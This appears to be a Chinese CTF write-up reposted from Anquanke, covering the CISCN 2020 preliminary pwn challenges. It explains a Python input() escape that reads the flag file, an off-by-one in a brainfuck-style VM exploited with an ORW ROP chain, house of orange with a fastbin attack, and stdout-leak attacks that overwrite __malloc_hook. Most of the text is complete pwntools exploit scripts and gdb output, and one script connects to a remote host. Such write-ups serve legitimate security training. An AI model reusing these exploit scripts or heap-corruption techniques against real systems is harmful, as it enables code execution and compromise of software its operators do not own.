压缩包中有 server.py ,其中首先执行

size = int(input())

同时压缩包中可以找到 flag 在靶机上的路径,所以尝试 python 逃逸即可。(非预期解,浏览器 pwn 被打了快 300 解 2333)
nc 连上后,输入

__import__('os').system('cat /home/ctf/flag')

0x2 wow

分析

vm pwn 的题目越来越多了,而每次遇到都不会,这次就认真搞搞当入门了。(感谢 starssgo 、幼稚园、fmyy 师傅的指点)
首先 ida 打开文件,上来就是几万个未命名的函数,我当年就是这么吓退了 orz 。这肯定不能傻逼直接逆几万个函数,我们需要寻找关键代码。
首先题目 f5 识别有问题,需要修一下。
ciscn_2020_pwn 复现

这里可以看到 0x404dc4 已经是一个新的函数,可是上一个函数的结束地址将这个函数包进去了,导致 ida 识别不出来。我们将上一个函数的 end 地址改为 0x404dc4 ,将下面的函数用 “p” 快捷键生成函数即可。

这道题的难度在于逆向分析,就不细讲了,讲讲关键部分。
这个程序类似于一个 brainfuck 编译器,程序中开辟了一块 0x400 大小的内存给编译器使用,我们通过输入程序定义的指令符,对这块内存进行各种操作,就可以实现各种功能,首先先分析出各个指令的操作:

  • @:++ptr;
  • #:--ptr;
  • ^:++*ptr;
  • |:--*ptr;
  • &:putchar(*ptr);
  • $:*ptr = getchar();
  • ptr << 2;
  • (*ptr);
  • {:while(*ptr){
  • }:}

程序运行时,栈的情况如下:(假设分配内存的地址为 0x1000)

0x1000      编译器使用这 0x400 大小          
···         ...
0x1400      指向指令字符串的指针 code_buf (值为 0x1410)
0x1408      指令字符串的长度 len(code)
0x1410      指令字符串 code
...         ...
0x1468      返回地址

程序漏洞出现在此处:

          case 0x40:
            if ( v25 >= (char *)&code_buf )
            {
              sub_4D47B0("invalid operation!");
              sub_4C7E70(0xFFFFFFFFLL);
            }
            ++v25;
            break;

这里代码的意思是,执行 “@” 指令时,如果内存指针小于 0x1400 ,则内存指针 + 1 。所以很明显,这里可以溢出一个字节,也就是说我们可以覆盖指令字符串指针的最低位字节。而刚好返回地址与指针的偏移在一个字节的大小,所以我们可以控制返回地址的内容。

而程序开启了沙箱,拿不到 shell ,就只能通过 orw 获取 flag 了。
ciscn_2020_pwn 复现

所以我们的目标是通过程序给的指令集的操作,将栈修改为:

0x1000      编译器使用这 0x400 大小          
···         ...
0x1400      指向指令字符串的指针 code_buf (值为 0x1410)
0x1408      指令字符串的长度 len(code)
0x1410      指令字符串 code
...         ...
0x1468      orw

这样程序运行到返回地址时,就会运行 orw 打印 flag 。
构造 rop 时有两个需要注意的点,
一个是我们 rop 中各个 gadget 的地址不能是有效指令。比如说:

pop_rdi = 0x4047ba

这种 gadget 是行不通的,因为程序在解析时,会把 0x40 解析为 “@” ,这样就会执行对应的操作,达不到我们的目的。
第二是程序在最后返回前,有一个检测:

  if ( code_buf != (__int64 *)&code )
    sub_405C90((__int64)code_buf);

也就是指令字符串的指针要与指令字符串的地址相等才能绕过检测。而我们之前为了修改返回地址的内容,将指针指向了返回地址,程序运行到这里会 crash ,我们通过一字节溢出将指针末位修改回来即可。

exp

from pwn import *

file_name = './main'
#libc_name = ''

context.binary = file_name
context.log_level = 'debug'
#context.terminal = ['./hyperpwn/hyperpwn-client.sh']

p = process(file_name)
#p = process('./idaidg/linux_server64')
#p = remote('')
elf = ELF(file_name)

libc = elf.libc

#syscall = 0x4dc054 
#pop_rdi = 0x4047ba 
#pop_rsi = 0x407578 
#pop_rdx = 0x40437f 
#pop_rax = 0x41ea0a

#def call(rax,rdi = 0,rsi = 0,rdx = 0):
#    return flat([pop_rax,rax,pop_rdi,rdi,pop_rsi,rsi,pop_rdx,rdx,syscall])

syscall = 0x00000000004dc054 # syscall ; ret
pop_rdi = 0x000000000041307a # pop rdi ; pop ...; ret
pop_rsi = 0x000000000047383d # pop rsi ; pop ...; ret
pop_rdx = 0x000000000053048b # pop rdx ; pop ...; ret
pop_rax = 0x000000000053048a # pop rax ; pop ...; pop ...; ret
def call(rax, rdi=0, rsi=0, rdx=0):
    return flat([pop_rax, rax, 0, 0, pop_rdi, rdi, 0, pop_rsi, rsi, 0, pop_rdx, rdx, 0, syscall])

p.sendlineafter("enter your code:\n", "~{@&$}")
p.send("A" * 0x3FF)
p.recvuntil("\nrunning....\n")
sleep(0.2)
p.recvuntil("\x00" * 0x3FF) 
val = ord(p.recv(1))
p.send(chr((val + 0x58) & 0xFF))
p.sendafter("continue?", "Y")
sleep(1)
payload = call(0, 0, 0x5D5600, 0x10)
payload += call(2, 0x5D5600, 0, 0)
payload += call(0, 3, 0x5D5600 + 0x10, 0x50)
payload += call(1, 1, 0x5D5600 + 0x10, 0x50)
p.sendlineafter("enter your code:\n", payload + "~{@&$}")
p.send("A" * 0x3FF)
p.send(chr(val))
p.sendafter("continue?", "N")
p.send("flag\x00")

p.interactive()

0x3 no free

分析

这道题只有 edit 功能和通过 strdup 实现的 malloc 功能,难点在于没有 free 与 show,以致于难以实现信息泄露和利用。
house of orange 技术是一种在没有 free 情况下可以获得空闲 chunk 的技术,它通过控制 top chunk 的指针,使得当 top chunk 不满足分配大小扩展时,会执行 free(old top chunk) ,从而得到空闲的 chunk 。
这里我们第一步就是运用 house of orange 技术获得空闲 chunk 。

add(0,0x80,'aaa\x00')
edit(0,'a' * 0x18 + p64(0xfe1))

for i in range(24):
    add(0,0x90,'b' * 0x90)
add(0,0x90,'a' * 0x30)
add(1,0x90,'a' * 0x90)

首先修改 top chunk 大小为 0xfe1 ,然后不断分配 chunk 使得最后 top chunk 不满足分配调用 sysmalloc 扩展,同时获得空闲 chunk 。

gdb-peda$ bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0xe78f60 ◂— 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

我们可以看到已经获得了 0x80 大小的 fast bin ,然后就是 fast bin attack :

edit(0,'a' * 0x38 + p64(0x81) + p64(0x6020c0 + 0x100))
add(0,0x81,'a' * 0x77)
add(0,0x81,'a' * 0x77)

通过 edit 功能修改 fd 指针为 heaplist 的地址(位于 bss 段,存储了每个 malloc 的 chunk 的 user_addr 指针和 size),然后 malloc 两次即可分配至 heaplist 处。

gdb-peda$ x /20xg 0x6020c0 + 0x100
0x6021c0:	0x00000000006021d0	0x0000000000000081 <-- chunk[0] user_addr && size
0x6021d0:	0x6161616161616161	0x6161616161616161 <-- chunk[1] user_addr && size
0x6021e0:	0x6161616161616161	0x6161616161616161
0x6021f0:	0x6161616161616161	0x6161616161616161
0x602200:	0x6161616161616161	0x6161616161616161

chunk[0] 的 user_addr 指向了 chunk[1] 的 user_addr ,我们可以通过 edit chunk[0] 来编辑 chunk[1] 的 user_addr ,然后再 edit chunk[1] 往 user_addr 指针中写数据,这就实现了任意写。
然后通过任意写:

edit(0,p64(atoi_got) + p64(0x100))
edit(1,p64(printf_plt))
edit_s(0,p64(exit_got) + p64(0x100))
edit_s(1,p64(ret))

修改 atoi_got 为 printf_plt 引入字符串漏洞用于泄露地址,修改 exit_got 为 ret ,这样当我们输入不为 ‘1’ 或 ‘2’ 的 choice 时程序也不会退出。

gdb-peda$ x /20xg 0x602000
0x602000:	0x0000000000601e28	0x00007fa118334168
0x602010:	0x00007fa118124ee0	0x00007fa117db2690
0x602020:	0x00000000004006e6	0x00007fa117db96b0
0x602030:	0x00007fa117d98800	0x00007fa117eb5970
0x602040:	0x00007fa117e0f200	0x00007fa117e3a250
0x602050:	0x00007fa117d63740	0x0000000000400700 <--atoi_got
0x602060:	0x00000000004006b9 <--exit_got 	0x00007fa117dce470
0x602070:	0x0000000000000000	0x0000000000000000

然后利用格式化字符串漏洞:

payload = "%7$saaaa" + p64(read_got)
p.sendlineafter('choice>> ',payload)
libc_read = u64(p.recv(6).ljust(8,'\x00'))
syscall = libc_read  + 0xe1
print "libc_read:" + hex(libc_read)

payload = '%12$p'
p.sendlineafter('choice>> ',payload)
p.recvuntil('0x')
stack_addr = int(p.recv(12),16)

泄露 read 地址和 stack 地址。最后就是利用 rop 调用 execv('/bin/sh', 0, 0) get shell 了,这里 rdi ,rsi ,rdx 的值可以用 gadget 控制,而 rax 的值通过调用 read 函数的返回值来控制。

gadget_1 = 0x400c00
gadget_2 = 0x400c16

edit_s(0,p64(stack_addr + 8) + p64(0x300) + '/bin/sh\x00' + p64(syscall))
payload = flat([pop_rdi, 0, pop_rsi, 0x6020c0, 0, libc_read])
payload += flat([gadget_2, 0, 0, 1, 0x6020c0 + 0x128, 0, 0, 0x6020c0 + 0x120])
payload += flat(gadget_1)

通过 edit 功能将 rop 写入返回地址,并输入 0x3b 的字符控制 rax 为 0x3b,即可 get shell。

edit_s(1,payload)

sleep(2)
p.send('A' * 0x3b)

exp

from pwn import *

file_name = './pwn'
libc_name = ''

context.binary = file_name
context.log_level = 'debug'
#context.terminal = ['./hyperpwn/hyperpwn-client.sh']

#p = process(file_name)
#p = process('./idaidg/linux_server64')
p = remote('0.0.0.0',9997)
elf = ELF(file_name)

libc = elf.libc

def add(idx, size, content):
    p.sendlineafter("choice>> ", "1")
    p.sendlineafter("idx: ", str(idx))
    p.sendlineafter("size: ", str(size))
    p.sendafter("content: ", content)

def edit(idx, content):
    p.sendlineafter("choice>> ", "2")
    p.sendlineafter("idx: ", str(idx))
    p.sendafter("content: ", content)

def edit_s(idx,content):
    p.sendafter('choice>> ','11\x00')
    if idx == 0:
        p.sendafter('idx: ','\x00')
    else:
        p.sendafter('idx: ','1' * idx + '\x00')
    p.sendafter('content: ',content)


atoi_got = elf.got['atoi']
exit_got = elf.got['exit']
read_got = elf.got['read']
printf_got = elf.got['printf']
printf_plt = elf.plt['printf']
ret = 0x4006b9

add(0,0x80,'aaa\x00')
edit(0,'a' * 0x18 + p64(0xfe1))

for i in range(24):
    add(0,0x90,'b' * 0x90)
add(0,0x90,'a' * 0x30)
add(1,0x90,'a' * 0x90)

edit(0,'a' * 0x38 + p64(0x81) + p64(0x6020c0 + 0x100))
add(0,0x81,'a' * 0x77)
add(0,0x81,'a' * 0x77)

edit(0,p64(atoi_got) + p64(0x100))
edit(1,p64(printf_plt))
edit_s(0,p64(exit_got) + p64(0x100))
edit_s(1,p64(ret))

payload = "%7$saaaa" + p64(read_got)
p.sendlineafter('choice>> ',payload)
libc_read = u64(p.recv(6).ljust(8,'\x00'))
syscall = libc_read  + 0xe1
print "libc_read:" + hex(libc_read)

payload = '%12$p'
p.sendlineafter('choice>> ',payload)
p.recvuntil('0x')
stack_addr = int(p.recv(12),16)

pop_rdi = 0x400c23 # pop rdi; ret
pop_rsi = 0x400c21 # pop rsi; pop r15; ret

gadget_1 = 0x400c00
gadget_2 = 0x400c16

edit_s(0,p64(stack_addr + 8) + p64(0x300) + '/bin/sh\x00' + p64(syscall))
payload = flat([pop_rdi, 0, pop_rsi, 0x6020c0, 0, libc_read])
payload += flat([gadget_2, 0, 0, 1, 0x6020c0 + 0x128, 0, 0, 0x6020c0 + 0x120])
payload += flat(gadget_1)

edit_s(1,payload)

sleep(2)
p.send('A' * 0x3b)

#gdb.attach(p)
p.interactive()

0x4 easybox

分析

这题的漏洞为 off_by_one ,没有 show 的功能,那就是通过爆破 IO_2_1_stdout 地址,改写 stdout 来 leak 信息了。

add(0, 0x28, "AAAA")
add(1, 0x28, "BBBB")
delete(0)
add(2, 0x68, "CCCC")
delete(2)
add(0, 0x28, "A" * 0x28 + "\xa1")
add(3, 0x28, "DDDD")
delete(1)

通过 off_by_one 漏洞造成堆块重叠:

gdb-peda$ x /40xg 0x5578023d7000 
0x5578023d7000: 0x0000000000000000      0x0000000000000031 -->chunk 0
0x5578023d7010: 0x4141414141414141      0x4141414141414141
0x5578023d7020: 0x4141414141414141      0x4141414141414141
0x5578023d7030: 0x4141414141414141      0x00000000000000a1 -->unsorted bin
0x5578023d7040: 0x00007f8fca154b78      0x00007f8fca154b78
0x5578023d7050: 0x0000000000000000      0x0000000000000000
0x5578023d7060: 0x0000000000000000      0x0000000000000071 -->fast bin
0x5578023d7070: 0x0000000000000000      0x0000000000000000
0x5578023d7080: 0x0000000000000000      0x0000000000000000
0x5578023d7090: 0x0000000000000000      0x0000000000000000
0x5578023d70a0: 0x0000000000000000      0x0000000000000000
0x5578023d70b0: 0x0000000000000000      0x0000000000000000
0x5578023d70c0: 0x0000000000000000      0x0000000000000000
0x5578023d70d0: 0x00000000000000a0      0x0000000000000030
0x5578023d70e0: 0x0000000044444444      0x0000000000000000
0x5578023d70f0: 0x0000000000000000      0x0000000000000000
0x5578023d7100: 0x0000000000000000      0x0000000000020f01
0x5578023d7110: 0x0000000000000000      0x0000000000000000

然后分配 0x30 大小的 chunk:

add(1, 0x28, "B" * 0x28)
delete(1)

这样就构造了一个同时存在于 fast bin 跟 unsorted bin 的 chunk :

gdb-peda$ bins
fastbins
0x20: 0x0
0x30: 0x5623a15d4030 ◂— 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x5623a15d4060 —▸ 0x7fd7399beb78 (main_arena+88) ◂— 0x5623a15d4060
0x80: 0x0
unsortedbin
all: 0x5623a15d4060 —▸ 0x7fd7399beb78 (main_arena+88) ◂— 0x5623a15d4060

然后修改 fast bin 中的 fd 指针为 IO_2_1_stdout 附近的地址:

add(4, 0x50, p64(stdout_offset - 0x43)[:2])
add(1, 0x28, "B" * 0x28)

这里不能分配 0x70 大小的 chunk ,因为那样会从 fast bin 分配,会使后面的 fast bin attack 失败;
stdout_offset 我们不妨设置为 0x3620 ,因为 main_arena+88 与 IO_2_1_stdout 的偏移在 2 字节大小范围内,而随机化的最小单位是页,所以后三位 620 是不变的,我们只需要爆破一位即可(1/16 的成功率);
IO_2_1_stdout - 0x43 处伪造的 chunk 可以绕过分配 fast bin 时对于 size 的检测。
然后 fast bin attack 分配至 IO_2_1_stdout 处,修改 IO_write_base 使得程序下次调用 put 函数是可以 leak 出 IO_write_base 至 IO_write_end 的内容:

add(5, 0x68, "EEEE")
add(6, 0x68, "\x00" * 0x33 + p64(0xfbad1800) + p64(0) * 3 + "\x00")
p.recvline() //接收 "1.Add"
p.recv(0x40)
libc_base = u64(p.recv(8)) - 0x3c5600
__malloc_hook = libc_base + __malloc_hook_offset
one_gadget = libc_base + one_gadget_offset

接下来故技重施,造堆块重叠:

add(7, 0x28, "AAAA")
add(8, 0x28, "BBBB")
delete(7)
add(9, 0x68, "CCCC")
delete(9)
add(7, 0x28, "A" * 0x28 + "\xa1")
add(10, 0x28, "DDDD")
delete(8)

也是与上面类似, fast bin attack 改 __malloc_hook 为 one_gadget 地址:

add(8, 0x38, "E" * 0x28 + p64(0x71) + p64(__malloc_hook - 0x23))
add(9, 0x68, "FFFF")
add(11, 0x68, "G" * 0x13 + p64(one_gadget))

在程序中调用 malloc 触发 __malloc_hook 即可。

p.sendlineafter(">>>", "1")
p.sendlineafter("idx:", str(12))
p.sendlineafter("len:", str(0x48))        
p.interactive() 

exp

from pwn import *

file_name = './box'
#libc_name = ''

context.binary = file_name
context.log_level = 'debug'
context.terminal = ['./hyperpwn/hyperpwn-client.sh']

p = process(file_name)
#p = remote('')
#p = process('./idaidg/linux_server_64')
elf = ELF(file_name)

libc = elf.libc

def add(idx,len,content):
    p.sendlineafter('>>>','1')
    p.sendlineafter('idx:',str(idx))
    p.sendlineafter('len:',str(len))
    p.sendafter('content:',content)
    
def delete(idx):
    p.sendlineafter('>>>','2')
    p.sendlineafter('idx:',str(idx))


stdout_offset = 0x3620

__malloc_hook_offset = libc.symbols['__malloc_hook']
one_gadget_offset = 0xf1147

while True:
    try:
        # chunk overlap
        add(0, 0x28, "AAAA")
        add(1, 0x28, "BBBB")
        delete(0)
        add(2, 0x68, "CCCC")
        delete(2)
        add(0, 0x28, "A" * 0x28 + "\xa1")
        add(3, 0x28, "DDDD")
        delete(1)
        
        # partial write
        add(1, 0x28, "B" * 0x28)
        delete(1)
        add(4, 0x50, p64(stdout_offset - 0x43)[:2])
        add(1, 0x28, "B" * 0x28)

        # leak
        add(5, 0x68, "EEEE")
        add(6, 0x68, "\x00" * 0x33 + p64(0xfbad1800) + p64(0) * 3 + "\x00")
        p.recvline()
        p.recv(0x40)
        libc_base = u64(p.recv(8)) - 0x3c5600
        __malloc_hook = libc_base + __malloc_hook_offset
        one_gadget = libc_base + one_gadget_offset

        break

    except:
        print("Failed")
        p.close()
        p = p = process(file_name)

# chunk overlap
add(7, 0x28, "AAAA")
add(8, 0x28, "BBBB")
delete(7)
add(9, 0x68, "CCCC")
delete(9)
add(7, 0x28, "A" * 0x28 + "\xa1")
add(10, 0x28, "DDDD")
delete(8)

# __malloc_hook
add(8, 0x38, "E" * 0x28 + p64(0x71) + p64(__malloc_hook - 0x23))
add(9, 0x68, "FFFF")
add(11, 0x68, "G" * 0x13 + p64(one_gadget))

# trigger
p.sendlineafter(">>>", "1")
p.sendlineafter("idx:", str(12))
p.sendlineafter("len:", str(0x48))        
p.interactive()       

0x5 maj

分析

这题的难点在于代码混淆了,不过其实对于程序以及利用貌似没啥影响。那这样其实就很简单了,思路与上面的 easybox 是一样的,不过这题有 uaf 漏洞,更容易造堆块重叠。
过程与上类似,这里就不具体分析了,简述一下思路:

  1. 通过 uaf 漏洞造 chunk overlap ,使得一个 chunk 同时存在 unsorted bin 和 fast bin 中。
  2. 通过 edit 功能改 main_arena+88 为 IO_2_1_stdout 附近的地址,同样是爆破一位。
  3. 也是改 IO_write_base 来 leak libc。
  4. 利用 uaf 漏洞进行 fast bin attack ,改 __malloc_hook 为 one_gadget 地址。
  5. 程序调用 malloc 触发 __malloc_hook get shell 。

exp

 p = remote('101.200.53.148', 15423)

 def add(num, size, content):
     p.sendlineafter(">> ", "1")
     p.sendlineafter("please answer the question", str(num))
     p.sendlineafter('______?', str(size))
     p.sendlineafter("start_the_game,yes_or_no?", content)

 def delete(idx):
     p.sendlineafter(">> ", "2")
     p.sendlineafter("index ?", str(idx))

 def edit(idx, content):
     p.sendlineafter(">> ", "4")
     p.sendlineafter("index ?", str(idx))
     p.sendafter("__new_content ?", content)

 main_arena_offset = 0x3c4b20
 __malloc_hook_offset = libc.sym["__malloc_hook"]
 one_gadget_offset = 0xf1207

 while True:
     try:
         add(80, 0x28, "AAAA") # chunk 0
         add(80, 0x28, "BBBB") # chunk 1
         add(80, 0x28, "CCCC") # chunk 2
         for i in range(4):
             add(80, 0x68, "DDDD") # chunk 3 4 5 6

         delete(3)

         # chunk overlap
         delete(2)
         delete(0)
         edit(0, '\x10')
         add(80, 0x28, "DDDD") # chunk 7
         edit(7, (p64(0) + p64(0x31)) * 2)
         add(80, 0x28, "EEEE") # chunk 8
         edit(8, p64(0) * 3 + p64(0xd1))

         # unsorted bin
         delete(1)
         add(80, 0x58, "FFFF") # chunk 9

         # bruteforce 4 bits
         edit(3, "\xdd\x55")
         add(80, 0x68, "GGGG") # chunk 10

         # leak
         add(80, 0x68, "HHHH") # chunk 11
         edit(11, "\x00" * 0x33 + p64(0xfbad1800) + p64(0) * 3 + "\x00")
         p.recvline()
         p.recv(0x40)
         libc_base = u64(p.recv(8)) - 0x3c5600
         __malloc_hook = libc_base + __malloc_hook_offset
         one_gadget = libc_base + one_gadget_offset

         break

     except:
         print("failed")
         p.close()
         p = remote('101.200.53.148', 15423)
         # p = process(argv=[_proc], env=_setup_env())

 print("success")

 edit(11, p64(libc_base + main_arena_offset + 0x58) * 2)

 # uaf
 add(80, 0x68, "AAAA") # chunk 12
 delete(12)
 edit(12, p64(__malloc_hook - 0x23))
 add(80, 0x68, "BBBB") # chunk 13
 add(80, 0x68, "CCCC") # chunk 14
 edit(14, '\x00' * 0x13 + p64(one_gadget))

 # trigger
 p.sendlineafter(">> ", "1")
 p.sendlineafter("please answer the question", str(80))
 p.sendlineafter('______?', str(0x38))

 success("libc_base: " + hex(libc_base))
 success("one_gadget: " + hex(one_gadget))
 p.sendline(token)

 p.interactive()

0x6 内容来源

安全客 CISCN 2020 初赛Pwn

相关文章:

  • 2021-11-19
  • 2021-11-12
  • 2022-01-15
  • 2021-11-08
  • 2021-05-21
  • 2021-10-27
猜你喜欢
  • 2021-11-14
  • 2021-05-28
  • 2021-12-29
  • 2022-02-27
  • 2022-12-23
  • 2022-12-23
  • 2023-02-24
相关资源
相似解决方案